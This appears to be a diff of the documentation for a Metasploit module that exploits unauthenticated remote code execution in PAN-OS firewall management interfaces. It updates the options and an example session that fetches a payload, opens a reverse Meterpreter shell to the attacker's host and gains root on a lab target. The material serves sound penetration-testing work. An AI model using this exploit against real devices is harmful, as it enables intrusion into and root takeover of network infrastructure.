@@ -31,6 +31,12 @@ payload `cmd/linux/http/x64/meterpreter_reverse_tcp`.
31316 . ` check `
32327 . ` exploit `
3333
34+ ## Options
35+
36+ ### WRITABLE_DIR
37+ The full path of a writable directory on the target. By default it will be ` /var/tmp ` . The exploit will write the
38+ payload as a series if chunks to this location, before executing the payload. The written artifacts are then deleted.
39+
3440## Scenarios
3541
3642### Default
@@ -40,43 +46,29 @@ msf6 exploit(linux/http/panos_management_unauth_rce) > show options
4046
4147Module options (exploit/linux/http/panos_management_unauth_rce):
4248
43- Name Current Setting Required Description
44- ---- --------------- -------- -----------
45- Proxies no A proxy chain of format type:host:port[
46- ,type:host:port][...]
47- RHOSTS 192.168.86.98 yes The target host(s), see https://docs.me
48- tasploit.com/docs/using-metasploit/basi
49- cs/using-metasploit.html
50- RPORT 443 yes The target port (TCP)
51- SSL true no Negotiate SSL/TLS for outgoing connecti
52- ons
53- VHOST no HTTP server virtual host
54-
55-
56- Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
57-
58- Name Current Setting Required Description
59- ---- --------------- -------- -----------
60- FETCH_COMMAND WGET yes Command to fetch payload (Acc
61- epted: CURL, FTP, TFTP, TNFTP
62- , WGET)
63- FETCH_DELETE false yes Attempt to delete the binary
64- after execution
65- FETCH_FILENAME DVtyQpcA no Name to use on remote system
66- when storing payload; cannot
67- contain spaces or slashes
68- FETCH_SRVHOST no Local IP to use for serving p
69- ayload
70- FETCH_SRVPORT 8080 yes Local port to use for serving
71- payload
72- FETCH_URIPATH no Local URI to use for serving
73- payload
74- FETCH_WRITABLE_DI /var/tmp yes Remote writable dir to store
75- R payload; cannot contain space
76- s
77- LHOST eth0 yes The listen address (an interf
78- ace may be specified)
79- LPORT 4444 yes The listen port
49+ Name Current Setting Required Description
50+ ---- --------------- -------- -----------
51+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
52+ RHOSTS 192.168.86.100 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
53+ RPORT 443 yes The target port (TCP)
54+ SSL true no Negotiate SSL/TLS for outgoing connections
55+ VHOST no HTTP server virtual host
56+ WRITABLE_DIR /var/tmp yes The full path of a writable directory on the target.
57+
58+
59+ Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
60+
61+ Name Current Setting Required Description
62+ ---- --------------- -------- -----------
63+ FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
64+ FETCH_DELETE false yes Attempt to delete the binary after execution
65+ FETCH_FILENAME pHLZiKRnmfR no Name to use on remote system when storing payload; cannot contain spaces or slashes
66+ FETCH_SRVHOST no Local IP to use for serving payload
67+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
68+ FETCH_URIPATH no Local URI to use for serving payload
69+ FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
70+ LHOST 192.168.86.42 yes The listen address (an interface may be specified)
71+ LPORT 4444 yes The listen port
8072
8173
8274Exploit target:
@@ -90,29 +82,29 @@ Exploit target:
9082View the full module info with the info, or info -d command.
9183
9284msf6 exploit(linux/http/panos_management_unauth_rce) > check
93- [+] 192.168.86.98 :443 - The target is vulnerable.
85+ [+] 192.168.86.100 :443 - The target is vulnerable.
9486msf6 exploit(linux/http/panos_management_unauth_rce) > exploit
9587
9688[*] Started reverse TCP handler on 192.168.86.42:4444
9789[*] Running automatic check ("set AutoCheck false" to disable)
9890[+] The target is vulnerable.
99- [*] Uploading payload chunk 1 of 8...
100- [*] Uploading payload chunk 2 of 8...
101- [*] Uploading payload chunk 3 of 8...
102- [*] Uploading payload chunk 4 of 8...
103- [*] Uploading payload chunk 5 of 8...
104- [*] Uploading payload chunk 6 of 8...
105- [*] Uploading payload chunk 7 of 8...
106- [*] Uploading payload chunk 8 of 8...
91+ [*] Uploading payload chunk 1 of 7...
92+ [*] Uploading payload chunk 2 of 7...
93+ [*] Uploading payload chunk 3 of 7...
94+ [*] Uploading payload chunk 4 of 7...
95+ [*] Uploading payload chunk 5 of 7...
96+ [*] Uploading payload chunk 6 of 7...
97+ [*] Uploading payload chunk 7 of 7...
10798[*] Amalgamating payload chunks...
10899[*] Executing payload...
109- [*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.98:52364) at 2024-11-19 15:16:55 +0000
100+ [*] Sending stage (3045380 bytes) to 192.168.86.100
101+ [*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000
110102
111103meterpreter > getuid
112104Server username: root
113105meterpreter > sysinfo
114- Computer : 192.168.86.98
115- OS : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.20 .pan.x86_64)
106+ Computer : 192.168.86.100
107+ OS : Red Hat (Linux 4.18.0-240.1.1.28 .pan.x86_64)
116108Architecture : x64
117109BuildTuple : x86_64-linux-musl
118110Meterpreter : x64/linux
0 commit comments